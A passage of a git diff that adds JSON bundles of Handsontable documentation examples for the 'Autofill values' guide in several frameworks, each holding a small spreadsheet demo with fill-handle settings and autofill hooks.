\"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\nimport type Handsontable from 'handsontable/base';\nimport type { CellRange } from 'handsontable/base';\n\n@Component({\n standalone: true,\n imports: [HotTableModule],\n selector: 'example3-autofill-values',\n template: `\n {{ output }}\n \n `,\n})\nexport class AppComponent {\n readonly data = [\n ['', 'Tesla', 'Nissan', 'Toyota', 'Honda'],\n ['2017', 10, 11, 12, 13],\n ['2018', 20, 11, 14, 13],\n ['2019', 30, 15, 12, 13],\n ['2020', '', '', '', ''],\n ['2021', '', '', '', ''],\n ];\n\n output = 'Drag the fill handle to see the affected range logged here.';\n\n readonly gridSettings: GridSettings = {\n rowHeaders: true,\n colHeaders: true,\n fillHandle: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n beforeAutofill: (selectionData: Handsontable.CellValue[][]) =>\n // This dealership reports sales in batches of 5 cars, so round every\n // filled value up to the nearest multiple of 5.\n selectionData.map((row) => row.map((value) => (typeof value === 'number' ? Math.ceil(value / 5) * 5 : value))),\n afterAutofill: (\n fillData: Handsontable.CellValue[][],\n sourceRange: CellRange,\n targetRange: CellRange,\n direction: 'up' | 'down' | 'left' | 'right'\n ) => {\n this.output =\n `Filled rows ${targetRange.from.row}-${targetRange.to.row}, ` +\n `columns ${targetRange.from.col}-${targetRange.to.col} (direction: \"${direction}\").`;\n },\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-features/autofill-values/angular/example3.ts","breadcrumb":["Cell Features","Autofill values"],"guide":"guides/cell-features/autofill-values/autofill-values.md","guideTitle":"Autofill values","exampleId":"example3","exampleTitle":"Altering and tracking autofilled values","docPermalink":"/autofill-values","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__autofill-values__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__autofill-values__javascript__example1.js.json new file mode 100644 index 00000000..87ec0adb --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__autofill-values__javascript__example1.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Features ▸ Autofill values · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst data = [\n ['', 'Tesla', 'Nissan', 'Toyota', 'Honda'],\n ['2017', 10, 11, 12, 13],\n ['2018', 20, 11, 14, 13],\n ['2019', 30, 15, 12, 13],\n ['2020', '', '', '', ''],\n ['2021', '', '', '', ''],\n];\n\nconst container = document.querySelector('#example1');\nconst hot = new Handsontable(container, {\n rowHeaders: true,\n colHeaders: true,\n fillHandle: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\n// or, use `updateData()` to replace `data` without resetting states\nhot.loadData(data);","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-features/autofill-values/javascript/example1.js","breadcrumb":["Cell Features","Autofill values"],"guide":"guides/cell-features/autofill-values/autofill-values.md","guideTitle":"Autofill values","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/autofill-values","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__autofill-values__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__autofill-values__javascript__example1.ts.json new file mode 100644 index 00000000..dbe1bb50 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__autofill-values__javascript__example1.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Features ▸ Autofill values · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst data: (string | number)[][] = [\n ['', 'Tesla', 'Nissan', 'Toyota', 'Honda'],\n ['2017', 10, 11, 12, 13],\n ['2018', 20, 11, 14, 13],\n ['2019', 30, 15, 12, 13],\n ['2020', '', '', '', ''],\n ['2021', '', '', '', ''],\n];\n\nconst container = document.querySelector('#example1')!;\n\nconst hot = new Handsontable(container, {\n rowHeaders: true,\n colHeaders: true,\n fillHandle: true, // possible values: true, false, \"horizontal\", \"vertical\",\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\n// or, use `updateData()` to replace `data` without resetting states\nhot.loadData(data);","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-features/autofill-values/javascript/example1.ts","breadcrumb":["Cell Features","Autofill values"],"guide":"guides/cell-features/autofill-values/autofill-values.md","guideTitle":"Autofill values","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/autofill-values","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__autofill-values__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__autofill-values__javascript__example2.js.json new file mode 100644 index 00000000..ec4599b2 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__autofill-values__javascript__example2.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Features ▸ Autofill values · Autofill in a vertical direction only and creating new rows · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst data = [\n ['', 'Tesla', 'Nissan', 'Toyota', 'Honda'],\n ['2017', 10, 11, 12, 13],\n ['2018', 20, 11, 14, 13],\n ['2019', 30, 15, 12, 13],\n ['2020', '', '', '', ''],\n ['2021', '', '', '', ''],\n];\n\nconst container = document.querySelector('#example2');\n\nnew Handsontable(container, {\n data,\n rowHeaders: true,\n colHeaders: true,\n fillHandle: {\n direction: 'vertical',\n autoInsertRow: true,\n },\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-features/autofill-values/javascript/example2.js","breadcrumb":["Cell Features","Autofill values"],"guide":"guides/cell-features/autofill-values/autofill-values.md","guideTitle":"Autofill values","exampleId":"example2","exampleTitle":"Autofill in a vertical direction only and creating new rows","docPermalink":"/autofill-values","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__autofill-values__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__autofill-values__javascript__example2.ts.json new file mode 100644 index 00000000..4de91cff --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__autofill-values__javascript__example2.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Features ▸ Autofill values · Autofill in a vertical direction only and creating new rows · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst data: (string | number)[][] = [\n ['', 'Tesla', 'Nissan', 'Toyota', 'Honda'],\n ['2017', 10, 11, 12, 13],\n ['2018', 20, 11, 14, 13],\n ['2019', 30, 15, 12, 13],\n ['2020', '', '', '', ''],\n ['2021', '', '', '', ''],\n];\n\nconst container = document.querySelector('#example2')!;\n\nnew Handsontable(container, {\n data,\n rowHeaders: true,\n colHeaders: true,\n fillHandle: {\n direction: 'vertical',\n autoInsertRow: true,\n },\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-features/autofill-values/javascript/example2.ts","breadcrumb":["Cell Features","Autofill values"],"guide":"guides/cell-features/autofill-values/autofill-values.md","guideTitle":"Autofill values","exampleId":"example2","exampleTitle":"Autofill in a vertical direction only and creating new rows","docPermalink":"/autofill-values","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__autofill-values__javascript__example3.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__autofill-values__javascript__example3.js.json new file mode 100644 index 00000000..56584ce8 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__autofill-values__javascript__example3.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Features ▸ Autofill values · Altering and tracking autofilled values · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n Drag the fill handle to see the affected range logged here.\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst data = [\n ['', 'Tesla', 'Nissan', 'Toyota', 'Honda'],\n ['2017', 10, 11, 12, 13],\n ['2018', 20, 11, 14, 13],\n ['2019', 30, 15, 12, 13],\n ['2020', '', '', '', ''],\n ['2021', '', '', '', ''],\n];\nconst container = document.querySelector('#example3');\nconst output = document.querySelector('#output');\nnew Handsontable(container, {\n data,\n rowHeaders: true,\n colHeaders: true,\n fillHandle: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n beforeAutofill(selectionData) {\n // This dealership reports sales in batches of 5 cars, so round every\n // filled value up to the nearest multiple of 5.\n return selectionData.map((row) => row.map((value) => (typeof value === 'number' ? Math.ceil(value / 5) * 5 : value)));\n },\n afterAutofill(fillData, sourceRange, targetRange, direction) {\n output.innerText =\n `Filled rows ${targetRange.from.row}-${targetRange.to.row}, ` +\n `columns ${targetRange.from.col}-${targetRange.to.col} (direction: \"${direction}\").`;\n },\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-features/autofill-values/javascript/example3.js","breadcrumb":["Cell Features","Autofill values"],"guide":"guides/cell-features/autofill-values/autofill-values.md","guideTitle":"Autofill values","exampleId":"example3","exampleTitle":"Altering and tracking autofilled values","docPermalink":"/autofill-values","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__autofill-values__javascript__example3.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__autofill-values__javascript__example3.ts.json new file mode 100644 index 00000000..3a3c4ac2 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__autofill-values__javascript__example3.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Features ▸ Autofill values · Altering and tracking autofilled values · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n Drag the fill handle to see the affected range logged here.\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst data: (string | number)[][] = [\n ['', 'Tesla', 'Nissan', 'Toyota', 'Honda'],\n ['2017', 10, 11, 12, 13],\n ['2018', 20, 11, 14, 13],\n ['2019', 30, 15, 12, 13],\n ['2020', '', '', '', ''],\n ['2021', '', '', '', ''],\n];\n\nconst container = document.querySelector('#example3')!;\nconst output = document.querySelector('#output') as HTMLElement;\n\nnew Handsontable(container, {\n data,\n rowHeaders: true,\n colHeaders: true,\n fillHandle: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n beforeAutofill(selectionData) {\n // This dealership reports sales in batches of 5 cars, so round every\n // filled value up to the nearest multiple of 5.\n return selectionData.map((row) =>\n row.map((value) => (typeof value === 'number' ? Math.ceil(value / 5) * 5 : value))\n );\n },\n afterAutofill(fillData, sourceRange, targetRange, direction) {\n output.innerText =\n `Filled rows ${targetRange.from.row}-${targetRange.to.row}, ` +\n `columns ${targetRange.from.col}-${targetRange.to.col} (direction: \"${direction}\").`;\n },\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-features/autofill-values/javascript/example3.ts","breadcrumb":["Cell Features","Autofill values"],"guide":"guides/cell-features/autofill-values/autofill-values.md","guideTitle":"Autofill values","exampleId":"example3","exampleTitle":"Altering and tracking autofilled values","docPermalink":"/autofill-values","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__autofill-values__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__autofill-values__react__example1.tsx.json new file mode 100644 index 00000000..867c95f4 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__autofill-values__react__example1.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Features ▸ Autofill values · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const data = [\n ['', 'Tesla', 'Nissan', 'Toyota', 'Honda'],\n ['2017', 10, 11, 12, 13],\n ['2018', 20, 11, 14, 13],\n ['2019', 30, 15, 12, 13],\n ['2020', '', '', '', ''],\n ['2021', '', '', '', ''],\n ];\n\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-features/autofill-values/react/example1.tsx","breadcrumb":["Cell Features","Autofill values"],"guide":"guides/cell-features/autofill-values/autofill-values.md","guideTitle":"Autofill values","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/autofill-values","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__autofill-values__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__autofill-values__react__example2.tsx.json new file mode 100644 index 00000000..673370a8 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__autofill-values__react__example2.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Features ▸ Autofill values · Autofill in a vertical direction only and creating new rows · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example2\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const data = [\n ['', 'Tesla', 'Nissan', 'Toyota', 'Honda'],\n ['2017', 10, 11, 12, 13],\n ['2018', 20, 11, 14, 13],\n ['2019', 30, 15, 12, 13],\n ['2020', '', '', '', ''],\n ['2021', '', '', '', ''],\n ];\n\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-features/autofill-values/react/example2.tsx","breadcrumb":["Cell Features","Autofill values"],"guide":"guides/cell-features/autofill-values/autofill-values.md","guideTitle":"Autofill values","exampleId":"example2","exampleTitle":"Autofill in a vertical direction only and creating new rows","docPermalink":"/autofill-values","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__autofill-values__react__example3.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__autofill-values__react__example3.tsx.json new file mode 100644 index 00000000..408b6bba --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__autofill-values__react__example3.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Features ▸ Autofill values · Altering and tracking autofilled values · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example3\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useState } from 'react';\nimport { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\n// Defined outside the component so autofill can mutate this array in place\n// without a re-render (triggered by `setOutput`) resetting it to its initial values.\nconst data = [\n ['', 'Tesla', 'Nissan', 'Toyota', 'Honda'],\n ['2017', 10, 11, 12, 13],\n ['2018', 20, 11, 14, 13],\n ['2019', 30, 15, 12, 13],\n ['2020', '', '', '', ''],\n ['2021', '', '', '', ''],\n];\n\nconst ExampleComponent = () => {\n const [output, setOutput] = useState('Drag the fill handle to see the affected range logged here.');\n\n return (\n <>\n \n {output}\n \n \n // This dealership reports sales in batches of 5 cars, so round every\n // filled value up to the nearest multiple of 5.\n selectionData.map((row) => row.map((value) => (typeof value === 'number' ? Math.ceil(value / 5) * 5 : value)))\n }\n afterAutofill={(fillData, sourceRange, targetRange, direction) => {\n setOutput(\n `Filled rows ${targetRange.from.row}-${targetRange.to.row}, ` +\n `columns ${targetRange.from.col}-${targetRange.to.col} (direction: \"${direction}\").`\n );\n }}\n />\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-features/autofill-values/react/example3.tsx","breadcrumb":["Cell Features","Autofill values"],"guide":"guides/cell-features/autofill-values/autofill-values.md","guideTitle":"Autofill values","exampleId":"example3","exampleTitle":"Altering and tracking autofilled values","docPermalink":"/autofill-values","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__autofill-values__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__autofill-values__vue__example1.vue.json new file mode 100644 index 00000000..32a9373b --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__autofill-values__vue__example1.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Features ▸ Autofill values · Standard example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm 